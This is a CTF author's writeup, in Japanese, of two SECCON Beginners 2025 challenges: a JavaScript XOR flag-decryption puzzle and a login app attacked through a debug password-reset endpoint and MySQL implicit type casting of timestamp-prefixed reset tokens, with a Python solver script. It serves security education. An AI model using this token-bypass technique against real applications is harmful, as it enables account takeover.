1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners CTF 2025 作問者 Writeup

Last updated at Posted at 2025-07-27

今年も参加いただきありがとうございました。この2問を作問しました。

  • [misc] kingyo_sukui
  • [web] login4b

今年こそは for beginners になるよう全体的に心がけて作問・レビューを行いました。

また、他の作問者のwriteupは以下の通りです。

[misc] kingyo_sukui (100pt / 644 solves)

金魚に見立てたフラグを集めるゲームです。正しい順序でフラグの各文字を選択すると、選択したフラグが正しいかどうかがわかります。

writeup.png

解法

普通にやってもクリアできないので、JavaScript のソースコードを閲覧します。開発者ツールからソースコードを閲覧すると、script.jsというファイルがあります。

このファイルでは金魚すくいゲームのソースコードが書かれていますが、フラグはこのように暗号化されています。

this.encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM=";
this.secretKey = "a2luZ3lvZmxhZzIwMjU=";

また、暗号化されたフラグを復号するソースコードも存在します。

decryptFlag() {
  try {
    const key = atob(this.secretKey);
    const encryptedBytes = atob(this.encryptedFlag);
    let decrypted = "";
    for (let i = 0; i < encryptedBytes.length; i++) {
      const keyChar = key.charCodeAt(i % key.length);
      const encryptedChar = encryptedBytes.charCodeAt(i);
      decrypted += String.fromCharCode(encryptedChar ^ keyChar);
    }
    return decrypted;
  } catch (error) {
    return "decrypt error";
  }
}

この関数を利用すると、フラグが取れそうです。this.secretKeythis.encryptedFlagの部分を書き換えて、復号関数を実行します。

// changed
function decryptFlag(encryptedFlag, secretKey) {
  try {
    const key = atob(secretKey); // changed
    const encryptedBytes = atob(encryptedFlag); // changed
    let decrypted = "";
    for (let i = 0; i < encryptedBytes.length; i++) {
      const keyChar = key.charCodeAt(i % key.length);
      const encryptedChar = encryptedBytes.charCodeAt(i);
      decrypted += String.fromCharCode(encryptedChar ^ keyChar);
    }
    return decrypted;
  } catch (error) {
    return "decrypt error";
  }
}

const encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM=";
const secretKey = "a2luZ3lvZmxhZzIwMjU=";

console.log(decryptFlag(encryptedFlag, secretKey));

これを開発者ツールのコンソール機能や、Node.js などを用いて実行すると、フラグが手に入ります。

ctf4b{n47uma7ur1}

[web] login4b (420pt / 102 solves)

スクリーンショット 2025-07-27 14.27.57.png

login, register, reset password ができるサービスで、admin でログインしたらフラグが表示されます。

app.get("/api/get_flag", (req: Request, res: Response) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: "Not authenticated" });
  }

  if (req.session.username === "admin") {
    res.json({ flag: process.env.FLAG || "ctf4B{**REDACTED**}" });
  } else {
    res.json({ message: "Hello user! Only admin can see the flag." });
  }
});

解法

session を偽造したりすることは基本的に難しいので、他の方法で admin のセッション情報を取得することを目指します。そこで、/api/reset-passwordに着目すると、パスワードリセット機能が実装されておらず、代わりにリセットが成功したユーザのセッション情報を返しています。これを利用して、admin のセッション情報を取得します。

// TODO: implement
// await db.updatePasswordByUsername(username, newPassword);

// TODO: remove this
const user = await db.findUser(username);
if (!user) {
  return res.status(401).json({ error: "Invalid username" });
}
req.session.userId = user.userid;
req.session.username = user.username;

しかし、パスワードリセットを成功させるには、リセットトークンを用意し、リクエストボディに入れる必要があります。リセットトークンは/api/reset-requestで生成されますが、ユーザに返されることはありません(本来はメールなどで送信されますが、この機能も未実装になっています)。

パスワードリセット機能のリセットトークンの検証をバイパスすることを目指します。リセットトークンの検証はdb.validateResetTokenByUsername関数で行われています。

async validateResetTokenByUsername(
  username: string,
  token: string
): Promise<boolean> {
  await this.initialized;
  const [rows] = (await this.pool.execute(
    "SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
    [username, token]
  )) as [any[], mysql.FieldPacket[]];
  return rows[0].count > 0;
}

db.validateResetTokenByUsername関数ではusernametokenを用いて、usersテーブルのreset_tokenが一致するカラムがあるかどうかを確認しています。

また、tokenはこのように生成されています。

async generateResetToken(userid: number): Promise<string> {
  await this.initialized;
  const timestamp = Math.floor(Date.now() / 1000);
  const token = `${timestamp}_${uuidv4()}`;

  await this.pool.execute(
    "UPDATE users SET reset_token = ? WHERE userid = ?",
    [token, userid]
  );
  return token;
}

つまり、tokenのフォーマットはtimestamp_uuidとなっています。

ここで、mysql の暗黙的な型キャストによる仕様を利用します。少し非自明かもしれませんが、MySQL では以下のような挙動をします。

SELECT "1234567890_53cr37_t0k3n" = 1234567890; # => true

tokenの先頭の値はtimestampとなっているので、timestampを推測することができれば、tokenを作成することができます。timestampgenerateResetToken関数が実行されたタイミングなので、
validateResetTokenByUsername関数を実行する直前で、generateResetToken関数を実行すればtokenを推測することができます。

Solver

# 注意: ネットワーク環境によってはこのsolverが動かないことがあります。その場合は'token': int(time.time())の値を調整してください。
import requests
import time

ENDPOINT = 'http://login4b.challenges.beginners.seccon.jp'

headers = {
    'Accept': '*/*',
    'Content-Type': 'application/json',
}

data = {
    'username': 'admin',
    'token': int(time.time()),
    'newPassword': 'testtesttest'
}
print("token:", data['token'])

response = requests.post( f'{ENDPOINT}/api/reset-request', headers=headers, json=data)
response = requests.post( f'{ENDPOINT}/api/reset-password', headers=headers, json=data)

if response.status_code == 200:
    session_cookies = response.cookies.get_dict()
    print("Session Cookies:", session_cookies)

    flag_response = requests.get(f'{ENDPOINT}/api/get_flag', cookies=session_cookies)

    if flag_response.status_code == 200:
        print("Flag Response:", flag_response.text)
    else:
        print("Failed to retrieve flag:", flag_response.status_code)
else:
    print("Failed to reset password:", response.status_code)
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?